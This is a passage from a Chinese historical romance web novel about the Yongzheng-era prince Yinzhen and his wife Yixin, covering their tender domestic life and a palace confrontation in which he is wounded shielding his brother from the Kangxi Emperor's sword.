胤禛亲吻她的眼睑,感受到她簇簇微颤的羽睫,又慢条斯理舔舐她的唇瓣,细细密密的亲吻落到她的鼻尖,又降临到锁骨。 仪欣搂住他宽阔的脊背,光滑细腻的腿缠上男人的腰,汲取他丰沛的温暖,温热甜腻的呼吸散在寸余床榻间,她晕晕的。 “仪欣…仪欣…” 胤禛太阳穴跳得厉害,他太难受了,他是个正常男人,遭不住她这般磨人。 大手按上后腰上痴缠的腿,想让她先下来,却忍不住指腹摩挲一下她的肌肤。 理智轰然倒塌。 “王爷…”仪欣眼角带着泪珠,亲够了半晌打个哈欠,“我有点困困的。” 胤禛长长的吐出一口气,慢慢将人放到床榻内侧,抱在怀里吸了几口她的气息,让自己冷静下来。 手攥紧佛珠。 她知道什么是夫妻吗? “王爷,我睡了。” “嗯。” 半刻钟后,胤禛将她的被衾裹紧,披上披风离开寝殿。 第17章养只吞金兽(3) “王爷…” 胤禛食指轻抵薄唇,示意苏培盛出去。 苏培盛认命点点头,得了,准备着请太医吧。 还好王爷把持雍亲王府上下手段高明,王爷不想传出去的消息,谁也不能伸手拿。 若不然,这王爷和福晋不曾圆房、如今又添了王府上下花费福晋嫁妆。 王府名声危! 他从七八岁就贴身伺候王爷,王爷的脾气秉性他最是了解,没人比他更清楚王爷行不行,既然喜欢,又是嫡福晋,圆房不就得了。 隔三差五冷水澡,万一影响生儿子可怎么是好。 他还要去敲打一下王府上下,可别败坏了王爷名声,谁让他是王爷身边第一人呢。 浴房里混杂着低喘、闷吭。 胤禛握住…。 裸露的胸膛上有星星点点暧昧的指痕,锁骨也有些痛,想来应该是拒绝亲吻,被她记仇深深咬了一口。 浴桶里浮着薄薄的冰,胤禛仰头吐出的气凝成水雾。 汗珠顺着侧脸流向脖颈,落入冰水里。 在寝殿外待了半个时辰,胤禛将自己重新烘烤暖和。 刚回到床幔内,娇软温润的身子贴过来,腿自然而然缠到他的腰上。 他觉得身下又有点不对劲。 冤家。 …… 第二日,胤禛确实有些头昏脑胀,未曾上朝,在书房处置积攒的信函。 几个月前,大学士马齐、刑部尚书阿灵阿、左都御史揆叙、老臣佟国维主张立老八为太子。 除富察氏一族急流勇退之外,其他氏族都收到了不小冲击。 佟佳氏一族以佟国纲和隆科多为首,私下里已然投诚,借由孝懿皇后之名,同他暗自往来。 只是因他“绝嗣”之名,皇上信任,兄弟和乐的同时,大臣少不得观望。 毕竟,世俗看来,皇帝如何能无子呢? 太子复立只是平衡朝堂的权宜之计,此番情形下,不可操之过急,党派之争固然重要,引上位者忌惮便是为他人作嫁衣裳。 太子还是应该再做得久一点。 胤禛揉了揉额角,喉咙有些发痒,他素来身体好,如今生病,也是沾她的光,府上药材一应俱全,又有太医专守。 “苏培盛,告诉福晋,本王抱恙,不要让她来前院。”胤禛轻咳几声。 苏培盛弯着腰,将熬好的汤药端上来。 “王爷,奴才听说,福晋出门了。” “去哪里了?” 苏培盛讪讪笑,心里腹诽一句,还不是为了养王爷,面上还是恭恭敬敬回复。 “奴才听晴云姑娘说,福晋同晴空姑娘召见管家查账,富察夫人问询陪同福晋,福晋便出府和富察夫人约在京城酒楼会面。” “嗯。” 胤禛将汤药一饮而尽。 “给她嫁妆塞三万两银子,莫让旁人知晓。” “唉!嗻!”苏培盛应和。 王爷这是图什么? 仪欣在查林庄和良田的账册,即将秋收,庄户正是最忙的时节,仪欣第一次自己当家,也异常忙碌。 钮祜禄氏担忧女儿操持王府出错,前前后后时常问询着。 女儿身为亲王福晋,时常跑娘家总是引人非议,若是拿住把柄可不太好,故而时常约在酒楼会面。 钮祜禄氏看着自家女儿面对管事,言辞恳切,恩威并施,做事情也是极有条理,心里也是骄傲熨帖。 在一侧只是含笑看着并不出声。 仪欣总是爱在家人面前撒娇卖乖,可是为人处世,大事上也是拿得出手的。 账册查得快,富察氏给仪欣陪嫁的庄子无论是地段还是盈余都是极好的,庄子上的管事也是富察氏的家生奴才,各个忠厚老实,又办事妥帖。 一个半时辰,查完账,也临近午时,仪欣和钮祜禄氏便就近在酒楼用膳。 钮祜禄氏打量着女儿穿戴气色,心中暗自满意。 王爷敬重仪欣,中馈都把持在女儿手中,府上又清净,没有姬妾庶子,又不必侍奉舅姑,隔三差五富察府也能添补着,想来日子过得极其舒心。 至于子嗣问题,王爷不过是有点小毛病,她也早就被儿媳们劝得看开了。 以雍亲王的身份地位,将来在宗室过继两个孩子,年幼稚子,悉心教导,总归养的熟。 “额娘,这个酥山很好吃欸!”仪欣欢喜地给钮祜禄氏推荐,“我和王爷都爱吃。” “好,额娘尝尝。” 钮祜禄氏慈爱抿唇笑,给仪欣夹一块清蒸鲈鱼,想到什么,压低声音打听一句:“你和王爷…圆房了吗?” 仪欣咬着筷子抬头,懵懵摇了摇头。 “没有。”仪欣想着,又补充一句,“但是,我们每晚都睡在一起的。” 钮祜禄氏心里咯噔一声。 完了,真的不行。 钮祜禄氏唇边泛起苦涩笑意,又爱怜摸了摸女儿的脸。 “那…王爷待你,可还尊重?” 没有什么太监磨人的怪癖吧。 “我们每天一同用膳,可开心了。” 仪欣笑嘻嘻夹一块牛乳糕,奶香四溢,温热香软,她还是带一份回府和王爷分享一下吧。 钮祜禄氏一噎,什么用膳,光知道用膳啊? 既然得不到孩子和男人…疼爱,世家大族的女人总归还是要收拢权力,把持后宅。 钮祜禄氏轻声叮嘱一句:“小九,在王府,可要替王爷尽心操持后宅,不要让旁人有可乘之机。” 可乘之机? 哪有什么可乘之机? 王府油水都极少。 仪欣自信摆摆手,“额娘,你都不知道,操持雍亲王府可简单了,王府从前每月只用五百两银子,这个日后我在嫁妆里就出了。” “什么?”钮祜禄氏稳不住端庄神情。 “王爷王府还要用你的嫁妆?” 钮祜禄氏心里又咯噔一声。 “对啊,那怎么了,五百两而已,额娘,我嫁过去三个月花了万两白银。”仪欣边吃边说。 还不忘给钮祜禄氏夹菜,跟钮祜禄氏分享他们昨夜在书房商量府中流水的事情。 晴云在身后看得着急,一个劲给自家福晋布菜,快吃啊,快吃,别说了。 钮祜禄氏看一眼窗外天色,明明是正午时分,却暮霭沉沉,不复出府时晴朗明媚,似乎有一扬秋雨含在厚厚的云里。 “小九,你对王爷…是什么感情?”钮祜禄氏还是要问一句。 第18章爱新觉罗?难说 怎么还是用膳? 钮祜禄氏笑着问:“比起和你大哥呢?” 大哥? 仪欣吩咐晴云去打包份牛乳糕,大大咧咧说:“大哥更知道我喜欢吃什么,我最喜欢跟大哥用膳。” 钮祜禄氏摸摸仪欣的头,心里犯苦,女儿这是还没开窍呢。 好容易接受了雍亲王府是个好归宿,如今雍亲王竟然觊觎女儿的嫁妆,实在是…! 钮祜禄氏攥了攥拳头,端庄优雅地捏着绢帕。 用过午膳后,仪欣告别额娘踏上回府马车,今日王爷不去当差,她和他可以说好多话,暖洋洋窝在他的怀里。 尽管天有些阴沉沉的,仪欣心中却美滋滋的,生机勃勃冒出阳春三月的杏花。 想着下次约个天气晴朗的日子,出府和植宁在她们的糕点铺子“酥铺”一起品尝新鲜的小点心。 “晴云,吩咐马夫顺路去酥铺包一些花生糖和杨翠奶包。” “福晋…”晴云声音平稳,“府上传来消息,王爷身体不适。” “那咱们快点回府,不吃了。” 仪欣心里涨上一丝焦急,她生病都是前赴后拥的家人伺候,王爷自己在府上孤孤单单的生病多委屈啊。 王爷日日起的早,昨夜便说累了不想去早朝,她以为王爷是告假休息,谁成想是生病。 等仪欣裹着披风被扶下马车,苏培盛正急得在前院来回转悠。 “苏公公,王爷呢?” “哎呦,福晋,您可回来了,奴才也是有主心骨了。” 苏培盛赶紧迎上去,急得热火蚂蚁似的,“王爷刚刚被三爷叫着入宫了,看上去极其着急,王爷骑马离开的。” “什么?!”仪欣惊斥一声,“糊涂东西!王爷不是身体不适吗?怎么还要骑马入宫?” “福晋,三爷火急火燎跟王爷说了什么,王爷顾不上旁的,只吩咐奴才告诉您不必担心,便入宫去了。” 苏培盛急得不行,王爷走得时候脸色苍白,不知听到何等大事,只说,若是今夜不能出宫,便叫富察夫人领福晋回富察府就寝。 “王爷入宫多久了?”仪欣轻声问一句。 天空好像下雨。 “哎呦,约莫近一个时辰了。”苏培盛这才着急。 …… 胤禛这边,乾清宫已经乱套了。 他未曾上早朝,朝上老十四为老八求情,惹了皇上气恼不已。 老十四愣头青,幼时被德妃惯得莽夫一般,察言观色和审时度势什么都不懂。 退朝后,太子在太和殿留住老十四冷嘲热讽般劝慰几句,几名入朝皇子都在一旁和稀泥,惹得老十四怒吼太子不配为储君,尽早退位让贤。 又痛斥老十三只是太子的一条狗。 甚至两人大打出手。 在宫中,太子是不能吃亏的。 老十四挨了两脚此事本该过去,谁知闹到乾清宫。 最后牵扯进老十四和老十三打擂台,争执太子之事,要各带十万兵马去平边疆战事。 他是老十四的亲哥哥,若是小打小闹政见不和便也罢了,皇上痛批胤禵,兄弟失和,他们前面几位皇子做兄长的都要站出来。 老三是个和事佬,老好人,或许也是为了共担风险,旁的兄弟们在乾清宫劝慰皇上和太子息事宁人。 侍卫拉架挡伤跪地。 老三偏生快马加鞭出宫找他。 老三话说得快,胤禛头疼转得慢,捋不清楚,只言片语却还是让他心头一紧。 匆匆赶到乾清宫们前,皇子阿哥跪了一片。 胤禵跪在最前面,老十三脸上挂彩,太子站在一旁,也是脸色极差。 胤禛和胤祉并驾齐驱,昂首大步打算跪地请安。 他头脑昏沉,骑马太快,灌了满身凉风,如今满头虚汗,眯着眼竟是有些重影。 “老四!快些!吵起来了!”胤祉拉一把胤禛。 胤禵跪着大声说:“遵旨是死,抗旨是死,请皇阿玛给儿臣等一条活路啊!” “你这是要跟朕打擂台!” 胤禵一脸执拗,大声回复:“儿臣不敢,家有铮子不败其家,国有诤臣不亡其国!” “不听你的,大清就要亡国不成?”康熙目眦欲裂,被太子拦着要去踹胤禵。 胤禵向前进一步,大声说:“难说!” 难说? 难说! 胤禛快要跑起来了。 源源不断的声音还是往他耳朵里灌,闭嘴啊,闭嘴,他步伐迟钝,身影却矫健,怎么也跑不过胤禵的声音。 藏青色石砖上方,只有幽蓝色蟒袍划过的痕迹。 “十四弟,你不要再说了。”不知谁劝一声。 太子声音传来:“千错万错,都是因为我的错,望你体谅皇阿玛,不要再惹他老人家生气了。来,你到一旁避一避。” “谁要你假惺惺的!在这蛊惑人心!”胤禵怒喝,“我今天,就是要讨皇阿玛一句公道!” “八哥他们究竟有罪没罪,没罪,皇阿玛就当众说没罪!有罪,也得指明了!”胤禵胸膛起伏,大胆对峙。 “你这个畜牲,我宰了你,我宰了你!!!” “十四弟闪开!” “皇阿玛!” “皇阿玛息怒啊!” “……” 一群人扑上去,乱成一团。 “八哥不要求了,我们的命本来就是他给的,还给他就是了!”胤禵不顾后面人拉扯他的身影,蹭的站起来。 “十四爷,小杖受,大杖走,你怎么还不走啊?难道要陷皇上于不义吗?”一个老臣大喝一声,想要将胤禵推离。 胤禵莽得避开,反而要迎难而上。 康熙手中握着剑,太子的手已经滴血,猛得抽出剑。 均是血气上头。 胤禛一脚踹开胤禵,电光火石之间,胤禛握紧佛珠,向左侧一下身体。 “四爷!” “四哥!” “皇上!收掉剑戟!” “太医!” “皇上…留情!四爷!” 那长剑赫然插进胤禛左侧肩膀,血大股涌出阴湿墨蓝色蟒袍,只有他未穿朝服,格外明显。 胤禛轰然跪地,攥住了康熙的衣袖。 “胤禛!” 长剑落地,康熙目眦欲裂跪着抱住胤禛,手触碰到儿子的后颈,竟然是滚烫的。 胤禛面色发红,嘴唇苍白,手轻轻发抖死死攥着康熙衣袖,大口喘气,喉咙沙哑地说:“皇阿玛…儿臣…有话要说…” “说,孩子…说。” 胤禛鲜红的血将康熙刺激到冷静下来。 此时康熙也是眼眶发红,若是亲手宰杀亲子,那他明君之明,便猝然崩塌。 “皇阿玛…” 第19章便让儿子担了吧 “表正万邦,慎厥身修思永;弘敷五典,无轻民事唯难。” “皇阿玛…以此对联瓒明您千古一帝英明睿断…儿子孺慕阿玛…自觉阿玛实至名归…” “胤禛…晚些说…晚些说…”康熙手抖,攥着胤禛的手。 诸位皇子吓得傻了,跪着围在周围,以袖拭泪。 胤禛挣扎起身,抱住康熙的肩膀,头搭在康熙的肩膀上学着仪欣撒娇的模样蹭了蹭,呼出滚烫的热气。 他小声呢喃,似是撒娇,在康熙耳边轻轻说,“儿子无子无后,愿做纯臣孤臣守护大清江山,这不孝不悌的罪名…连同阿玛的怒气…便让儿子担了吧…” 他捂住左肩,撤出康熙的怀抱。 放出声音来,他带着哭腔,“皇阿玛…不要苛责儿臣的弟弟们,求求您…好不好…” 话音未落。 胤禛呕出一口血,晕了过去。 成群太医朝乾清宫跑来,后面跟着的医官提着药箱跑得飞快。 众人只见康熙跪地站起来,步履蹒跚,怀里打横抱着比他还要高大的儿子。 胤禛在康熙怀里没有生机般垂着,鲜红的血顺着胳膊落到佛珠上,蜿蜒流过冷白血管苍青色的手背,沿着指尖滴到青石砖上。 一滴,一滴,一滴…… 康熙将胤禛轻轻放在龙床上,摸到他额头滚烫,脸上也尽是潮红色。 “快!太医!快!快给吾儿诊治!”康熙催促。 胤礽在角落里沉默,一名医官替他包扎着手上的伤口。 他若不是为了得到皇阿玛的怜惜,怎么会徒手握剑,挡住皇阿玛的长剑。 可是,哪里变了? 平日里,若是他受伤分毫,皇阿玛不会看到旁人半分,肯定会守着他嘘寒问暖,他的记忆总是徘徊在旧时,皇阿玛于他而言不是皇帝,是父亲。 是他孩提时高烧不退亲自抱着他哄的父亲;这个让大臣对他二跪六叩的父亲;这个让他主动干政的父亲;这个赋予他无上荣光的父亲…… 而如今的皇阿玛,在见到他手滴血后仍旧抽剑砍向胤禵,在他受伤后,亲自抱起胤禛轻放在龙榻。 他攥了攥手掌,引得太医惊呼提醒。 “太子爷,您仔细着伤啊!” 康熙得知胤禛本就是高烧,还是驾马入紫禁城,心疼不已,想起胤禛昏迷前的话,更是百感交集,愧疚万分。 此时,看各个儿子都不顺眼。 康熙大声斥责胤祉:“你明知他身体不适,告假不朝,为何还要将他唤来?” 胤祉苦涩跪地磕头认错,又辩解说:“皇阿玛,老四向来恭敬待您,善待兄弟,若是事后酿成大错,于他而言,尤如剜心啊。” 康熙冷哼,转身踹一脚胤禵:“犟啊!继续难说啊!你出言不逊,却要你四哥替你受过!该当何罪!” “若不是你四哥求情,朕今日就宰了你!送你去见爱新觉罗列祖列宗!” 胤禵要起身,被老九老十死死按住。 他们可不想替胤禵再挡一剑。 倒是老十咬牙替胤禵辩解一句:“皇阿玛,以四哥身手,那剑理应避开才是。” 老十三气得脸通红,质问一句:“十哥这是什么意思?” 正此时,胤禛骤然又呕出一口血,疾声干呕起来。 太医赶紧灌下一碗退烧汤药,急得把脉手都在抖。 “皇上,肩膀上的伤倒在其次,王爷本就高烧,马上狂奔冷风侵袭经脉,昏迷不醒才是实在难捱啊。” “用最好的药!”康熙吩咐。 又转身踹一脚老十,康熙咬牙切齿说,“听见了吗?他高烧不退,还要来替你们收拾烂摊子!避开?你身形如此矫健,你倒是避开了此剑!” 康熙完全解放了他毒舌属性,骂了两刻钟,将一个个数落的鹌鹑似的。 又看见太子站在角落,冷哼一声,“胤礽,你眼里还有没有阿玛和兄弟?” 胤礽咬牙,上前也跪在一旁。 胤禛指尖微动,咳嗽两声,幽幽转醒,见是龙榻,立马挣扎着坐起身子就要下来。 康熙小心翼翼按住他的身子,温声说:“躺下,躺下…” 胤禛躺回去,向外偏了偏脸,窗楞上好像有白色的水雾。 他轻声问一句:“皇阿玛…是不是下雨了?” “有些细雨。”康熙声音比起刚刚,称得上温柔似水,“可还哪里不适?” 胤禛隐晦攥了攥左手佛珠,疼,哪里都疼,脑袋昏沉像是撞到石狮子上一般,左肩拉扯得后背肩胛骨都仿佛不在身上。 他吞咽一下口水,强撑着弯了弯唇,“儿臣…不碍事。” “四哥…”老十三膝行到床榻前,眼里含着泪,一眨眼就要顺着侧脸流下来。 胤禛扯了扯唇角,喉咙暗哑:“傻小子…哭什么…” 诸位皇子纷纷体贴问询,康熙离开床榻,问太医胤禛如何。 太医恭敬斟酌着说:“回万岁爷,王爷肩上伤口极深,好在不至要害,昏迷是因为高烧,如今醒来,仔细将养着便会无碍。” 梁九功上前劝慰一句:“王爷年轻,身体康健,又有万岁爷您庇护着,自然无恙。” 康熙点点头,总算松口气。 乾清宫外有些喧闹,梁九功探了一眼,“哎呦,万岁爷,是德妃娘娘。” 康熙一僵,又叹口气,胤禛为老十四的事求情,他便不计较了,总归德妃也是胤禛的额娘,哪有不能探望的道理? “宣她进来吧。” 德妃步履匆匆,发髻有些歪斜,焦急的脸上挂着泪痕,大步进乾清宫后,跟站在寝殿门口的康熙行个礼,赶紧跑到寝殿内。 康熙跟进去。 “老十四!老十四怎么样了?” “额娘听说你惹了你皇阿玛生气,吓死额娘了!” “你出了事,要额娘怎么活啊!” 德妃没顾得上躺在龙榻上的胤禛,先一步扑向胤禵,上上下下检查一遍。 松口气,直起身子,刚要恢复端庄,却发现周围跪着的阿哥们面色古怪。 微微转身,才看到躺在床榻上虚弱苍白的胤禛,痰盂里还有鲜血。 德妃故作关心,凑过去问一声:“这是怎么了?” 第20章胤禛…… 他笑了笑,撩起眼皮看到康熙怒不可遏的神情,看到周围兄弟们或同情或揶揄嘲笑的目光。 他清冷出尘,淡然垂下眼,“无碍。” 康熙给德妃留着面子,让梁九功引着她退出寝殿。 德妃跟着康熙,心里有些惴惴不安。 进到偏殿,康熙转身看了一眼德妃。 德妃温婉笑着体贴问一句:“皇上…老四是怎么了?” 康熙一巴掌打在德妃脸上。 德妃来不及思索,仓惶跪下请罪。 康熙怒气冲冲又甩了一巴掌。 “朕的儿子,替你的老十四挡剑受了重伤,满意了?” “老十四不伤分毫,松口气是吗?” “皇上…”是老四替老十四挡了剑? 德妃脸肿胀起来,跪着哀求看着康熙,辩解说:“皇上,臣妾不知,臣妾以为是老十四惹得您生气,故而……” 康熙怒目圆睁,将手中珠串扔了出去。 梁九功跪地,德妃噤声。 德妃脸上惶恐挂着泪痕,乾清宫的寒冰砖擦的极亮,能映出她的倒影。 万岁爷刚刚说什么? “朕的儿子”替“你的老十四”挡剑受了重伤? 德妃反应过来一激灵。 她并不认为这是万岁爷情急之下脱口而出,胤禛在万岁爷心中已是这般要紧的地位了吗? 胤禛每日侍膳真有这么有效吗? 胤禛无子无后,万岁爷理应放弃他继承大统的可能性,又为何要亲近委以重任呢? 胤禛二十三岁时和大阿哥共封亲王,大阿哥因巫蛊陷害太子之事惨遭贬斥禁足,后来胤禛独占鳌头。 连三阿哥、五阿哥也是太子复立之后才册封亲王。 为何?这是为何? 德妃久居深宫,自认聪明睿智,替老十四心中多有盘算,却还是因眼界问题,看不清层层迷雾。 她本来都要放弃胤禛了,事实上,她也是这样做的,可如今被万岁爷两巴掌打得清醒过来。 “万岁爷…胤禛也是臣妾身上掉下来的肉啊…”德妃收敛住情绪,小声啜泣。 康熙冷冷看着,背着手在德妃周围缓缓踱步,缓和些脸色,还是不怒自威警告。 “朕信你手心手背都是肉的说辞,然,胤禛绝无可能屈居老十四之后。” “是…臣妾定时时谨记。” 德妃担忧老十四匆匆赶来,闹了个乌龙,颜面尽失。 胤禛躺在龙榻上,太医为他重新包扎伤口。 高烧已经退了,乾清宫雨落深檐,雨水将红砖绿瓦的污秽濯洗干净,胤禛淡淡凝视窗外天色,乾清宫好似溅上油污一般雾化了。 太阳西沉,不知仪欣有没有回富察府用晚膳,她素来怕冷,若是在自小长大的富察府应该能睡得很好。 如果他早些痊愈,便早些接她回家;她身子好弱,在他生病时,他也不能无负担让她陪着。 胤禛脱离危险后,成年阿哥们不宜在宫中久留,只有太子仍旧在乾清宫坐着,时不时陪他说两句话。 见康熙进入寝殿,胤禛笑笑,温声开口:“皇阿玛…儿臣想回府…” “胡闹!在乾清宫偏殿休养几日,再出府也不迟。” 康熙吹胡子瞪眼,大马金刀坐在胤禛床前,手背自然而然贴着胤禛的额头试温度。 胤禛主动俯身挨着康熙的手,抬眸笑一下,像一只舔舐爪子的大猫。 康熙见他这样,嗤笑一声,反手轻拍一下他的额头,“多大年纪了,不怕惹人笑话。” 撒什么娇。 胤礽看着他们的互动,愣住了,目光不自觉落到自己受伤的掌心。 “精气神倒是好了许多。”康熙沉声说,“这几日便不要回府了,在宫中陪朕下下棋。” 胤禛摇摇头,固执地说:“皇阿玛,儿臣久在宫中不合规矩,况且,今日儿臣纵马入宫,不知内情者甚蕃,儿臣入宫不出,明日不朝,不知臣民又要如何揣度皇阿玛。” 太子笑着劝一句:“阿玛,依儿子看,就依老四所言吧。” “儿子亲自送老四回府,再回毓庆宫,如何?” 康熙看一眼太子,目光划到他身前的手上,叹口气:“罢了,你回宫休息吧,梁九功替朕送老四回府。” …… 渐晚时的京城总是吵吵嚷嚷的,猝不及防会钻处一缕烟火气,浓浓的糕点香气小牛犊子一般扑到胤禛怀里,无孔不入钻到马车里。 胤禛双指撩开马车帘,倦怠笑了笑,原来是她的点心铺子。 纵使已经筋疲力尽,他在乾清宫仍旧不能安枕浅眠,时时刻刻情绪飘在云端,连同疼痛和知觉都如同按住不知何时拨弄的琴弦。 他颓丧倚在马车壁上,马车轻碾在地上的声音剐蹭他左肩伤口。 胤禛力竭,心神也损耗尽了。 暮色四合,深秋又是淫雨霏霏。 微凉的秋风钻到马车里,胤禛闭了闭眼,他觉得自己又有些发热。 这时,梁九功讶然提醒一声,“王爷,是福晋。” 胤禛没听清,睁开眼。 反应过来什么。 只听梁九功又欢喜提醒一句,“王爷,王府到了,福晋在门口等您呢,想来是急坏了。” 梁九功话还没说完,胤禛猛得扯开马车帘。 雍亲王府正门,小橘灯,细雨,油纸伞,还有她。 只有她。 在众生中,只凝视一人。 胤禛跳下马车,梁九功赶紧握着伞追上去,身后跟着的御前侍卫一字排开,排在王府两侧。 目光所及,她鼻尖通红,裹着披风,晴云撑着的伞来不及遮住她,她匆匆奔向他。 “你……”仪欣张了张口,说不出话。 一切映入眼帘,仪欣想抱上胤禛的腰,被他轻轻避开。 “福晋,王爷身上有伤,您…”梁九功赶忙提醒。 仪欣才注意到严阵以待护送胤禛回府的御前侍卫,慌乱想检查一下胤禛,却不敢碰他。 “谁欺负你了?你伤到哪里了…” 比仪欣的询问先到来的,是她的哽咽。 “没事,乖。” 胤禛摸了摸她的脸,接过梁九功手中伞,伞面自然而然偏向仪欣。 “本王已安全回府,去同皇阿玛复命即可。” 胤禛吩咐完,俯下身子温声说,“本王如今身子确实有些不适,本来很想很想抱着仪欣回府,来,本王牵着仪欣,咱们慢慢走回家好不好?” “好……” “王爷的手好烫,你是不是自己都不知道你在发烫…”哽咽,仪欣太熟悉发热的温度,扯下身上披风想搭在他身上。 胤禛偏着油纸伞,右臂将她连同她的披风拢在怀里,别过头去咳嗽一声,强硬说,“别脱。” “胤禛……”她小兽一般舔舐伤口呜咽嘶鸣,猝不及防叫出他的名字。 第21章本王还有件事要交代 胤禛一愣,把怀中人儿搂紧,替她挡住细密的风雨。 然后,轻轻“嗯”了一声。 苏培盛取来胤禛的大氅,伺候着自家王爷披上,又赶紧帮衬着王府管事和佟嬷嬷安置万岁爷赏赐下来的药材和成箱的御赐之物。 两个人慢慢走到正院。 天黑似乎在一瞬间,小橘灯微不足道的光变得举足轻重。 侍奉的人跟随着王爷和福晋,步伐极轻,无人敢催促他们。 静谧的夜里只剩仪欣缩在披风里的抽噎。 偏偏她还自以为掩饰的很好,声音很小很小,她不愿意在外人面前露怯,府中有太医和御前侍卫,她还是要处理后面的事情。 “不是让你回富察府了吗?”胤禛轻声问。 仪欣低着头不说话,这个问题上,她根本不想理他。 两名太医随胤禛出宫,到正院之后,一名太医亲自煎药,另一名太医负责为胤禛重新包扎伤口。 雍亲王府喜提三名太医驻守。 仪欣看见胤禛左肩渗血的绷带,脸色苍白,解开绷带后是周遭泛白的血窟窿,她紧紧咬着牙,示意晴云去亲自盯着煎药。 胤禛漆黑的瞳孔静静看着她故作镇定。 面色如常,反而带着安抚的浅笑。 太医同仪欣交代一些伤口的事情,仪欣轻轻回应,引着太医到外间,询问伤口深浅,可有大碍。 仪欣得体的为太医暂且安排住处,温婉浅笑将塞满银票的荷包隐晦递给太医,道一声谢。 召来掌管库房的晴空,吩咐明日若是宗亲或者阿哥们探望王爷,提前准备好回礼,注意忌讳。 应胤禛的严厉要求,仪欣也灌了一大碗养身体的汤药。 胤禛半裸着胸膛躺在床榻上,见仪欣进来,朝她招招手。 寝殿内没有旁人,床头摆着一个空药碗。 仪欣褪去白日端庄衣衫,穿着肉粉色寝衣,站在那里,眼眶通红,脸蛋眉尾都是粉红色。鼻尖通红,整个人可怜兮兮像是淋了雨。 她慢慢走到床榻边蹲下来,胤禛还来不及说什么,只见她头扎在被衾上,肩膀抽动。 “可以哭出声来。”胤禛小声提醒一句。 仪欣呆愣抬头,转眼号啕大哭。 “王爷…王爷…王爷…” 她说不出旁的话,就一个劲唤王爷。 那个伤口再偏一寸,她就没有夫君了,就没有人跟她用膳、睡觉,陪她做很多事情,说很多话了。 胤禛轻叹一句,按住被衾上的脑瓜,晃了晃,“叫我的名字。” “胤禛…胤禛…胤禛…” 仪欣哭得惊天动地,开始还是蹲着趴在被衾上哭,后来直接随意坐到床榻上,望着他掉眼泪。 “嗯。” 胤禛一声声回应她。 后来,她依旧水漫金山。 胤禛揉了揉额角,笑了,纳闷问:“本王刚刚恍惚,觉得是仪欣受伤了,才疼得哭。” 仪欣在被衾上拱了拱眼泪,眼睛通红,“我觉得你好疼…好疼…但是你说不出来…” 胤禛闭了闭眼,她天生就有爱人的能力,对于他脆弱情绪的感知有些高超优越的天赋,在爱里如鱼得水的人儿天生就会撒娇,会敏感感性到替身边人哭泣。 他就不会,他在外人面前撒娇和脆弱都是装的。 “你的伤是怎么回事呢?你赶紧老实交代。” 仪欣从见到他,不止一次问,现在目光炯炯,哭够了,显然是准备刨根问底了。 胤禛想抱抱她,于是让她趴到他的身上,枕着他的右肩膀。 他的脊背宽阔,腰身挺拔,身体承担着她整个人的重量,她的脸温顺贴在他的胸膛上。 他想亲她,想揉捏她,克制一下,没克制住,手摸了摸她的屁股,隐晦弯了弯唇。 “好,本王老实交代。”胤禛叹口气,倒是准备实话实说。 “在乾清宫前,老十四替老八求情,跟皇阿玛起了争执,皇阿玛执剑要宰了老十四,那剑…最后让我挡了。” “凭什么?!王爷凭什么替他挡剑?他算什么东西啊?”仪欣挣扎着要坐起来,气恼开口,“还有万岁爷他……” 他也不是什么好东西! 胤禛修长的手指轻轻捂住仪欣的嘴巴,右臂使劲将她往上提了提。 四目相对,他眸色漆黑,慢慢摇了摇头。 “仪欣,在本王耳边小声说,好不好?” “好。”仪欣瘪了瘪嘴,还是乖巧答应。 仪欣头埋在他的颈窝里,对他嘀嘀咕咕半晌,说着说着就哽咽,把能想到的难听的话都一股脑招呼在康熙、老十四和老八身上。 胤禛眼里含笑,酿着温软的情谊。 她脑袋里怎么有这么多稀奇古怪骂人的话,偏偏还怪可爱的,这个是没毛的鸡,那个是道貌岸然的老鼠。 他时不时偏头蹭蹭她的侧脸,抽空又喂了她一盏温水。 仪欣经常催促他回应她,凶巴巴气恼说,“王爷说,我说的对不对。” “嗯,对。” 仪欣没放过让胤禛直接间接受伤的人,她凶巴巴骂个狗血淋头。 连同太子,老三,德妃,老九,老十,也没有幸免。 仪欣仿佛天生同他是一个阵营的,与他共通悲观,胤禛骄傲的想,谁让他和她是夫妻呢。 仪欣在胤禛耳边骂的鬼鬼祟祟,声音特别特别小,偏偏还要胤禛与她同仇敌忾,回应她。 胤禛忍俊不禁,又严肃附和,“就是就是。” “对,太坏了。”仪欣也严肃动了动脑袋。 她还是想哭,想到胤禛发热还要替旁人挡剑,好多血,她就觉得刚刚没哭够。 她乌黑的头发散在他冷白的胸膛上,碎发因眼泪粘在脸蛋上,脸蛋到处都粉润润的,她张了张口,又吭叽着溢满哭腔。 胤禛心都软了,哪里都察觉不到痛。 他右手捧着她的脸,指腹蹭掉她的眼泪,逗她说:“本王还有件事要交代。” “什么事?还有旁处也受伤了?” 胤禛难以启齿点点头,幽幽叹口气,“算是吧。” 仪欣当即紧张起来,挣扎着要在他身上下去。 胤禛强硬搂住她的腰,没什么威严呵斥一句:“不许乱动,听本王讲。” 仪欣眼巴巴点点头,小手在他身上摸索着检查,胤禛忍不住握住她的手腕,不紧不慢开口。 “仪欣,你看看本王胸膛上有什么?今日重伤在身,太医替本王包扎伤口,你咬在胸膛上的齿痕红痕都被看光了,当时皇阿玛和王爷贝勒都守在本王榻前。” 胤禛看着她目瞪口呆的怔愣模样,幽幽叹口气,作壁上观慢悠悠开口:“福晋,本王可怎么办呢?嗯?” “昨夜不让亲,福晋偏不依本王,唉…这下本王更不愿上朝了,倒是辛苦福晋养着了。” 第22章离骚版哄睡 “嗯。”胤禛含笑睨着她,时不时幽幽叹口气。 仪欣赶紧搓搓她遗落的齿痕,一点搓不掉,这多么影响王爷在朝堂上清冷出尘、威仪不苟言笑的形象啊;王爷在那些弟弟面前可如何立威… “我昨晚咬得很痛吗?”仪欣拱了拱胤禛的颈窝撒娇。 “痛。”胤禛认真回应一声,倚着偏头亲亲她的额头。 没心没肺的小狗,一转移话题就被人牵着走了,真可爱,不哭了就行。 胤禛松口气,却见仪欣鼓了鼓腮帮子,微微垂着眼尾,绞尽脑汁半天委屈承认错误,“那…我以后再也不咬了…晚上不闹着亲亲了…对不起…” “……” 胤禛:? 这他还能说啥挽救一下。 “这样行吗?”仪欣诚恳问,目光直勾勾看着他。 胤禛轻咳两声,“不好,换个补偿方式。” “哦。好吧。” 苏培盛悄声进寝殿伺候,看见福晋趴在自家王爷身上,情人间细碎呢喃氤氲着亲密无间的情绪,竟然有些…触动。 只是,也担忧自家王爷左肩上的伤口。 